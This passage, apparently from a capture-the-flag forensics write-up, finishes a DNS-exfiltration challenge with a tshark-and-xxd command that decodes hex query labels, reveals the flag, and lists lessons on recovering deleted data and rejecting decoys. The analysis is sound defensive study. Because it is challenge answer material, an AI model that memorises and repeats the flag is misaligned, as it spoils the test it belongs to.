cluster is visually obvious. tshark ... | grep datasync-cdn | grep -oE '^[0-9a-f]+' | sort -u | tr -d '\n' | xxd -r -p.- Reading the labels by eye (only 4 unique chunks) and decoding in CyberChef (From Hex).
No guessing — the domain and encoding are self-evident from the capture.
Show flag
Securinets{dns_qu3r13s_l34k_by73s}
Wave 2 takeaways
- “Deleted” usually means “no longer referenced”; Git objects, WAL pages, and container data
often remain recoverable. - Correct ordering is frequently more important than the decoding algorithm.
- Document behavior lives in structure and embedded code, not only in what the page renders.
- Decoys should be rejected with evidence: provenance, timestamps, surrounding records, and
protocol context distinguish a real answer from a realistic-looking string. - Short scripts are valuable when they preserve a repeatable chain from raw bytes to result.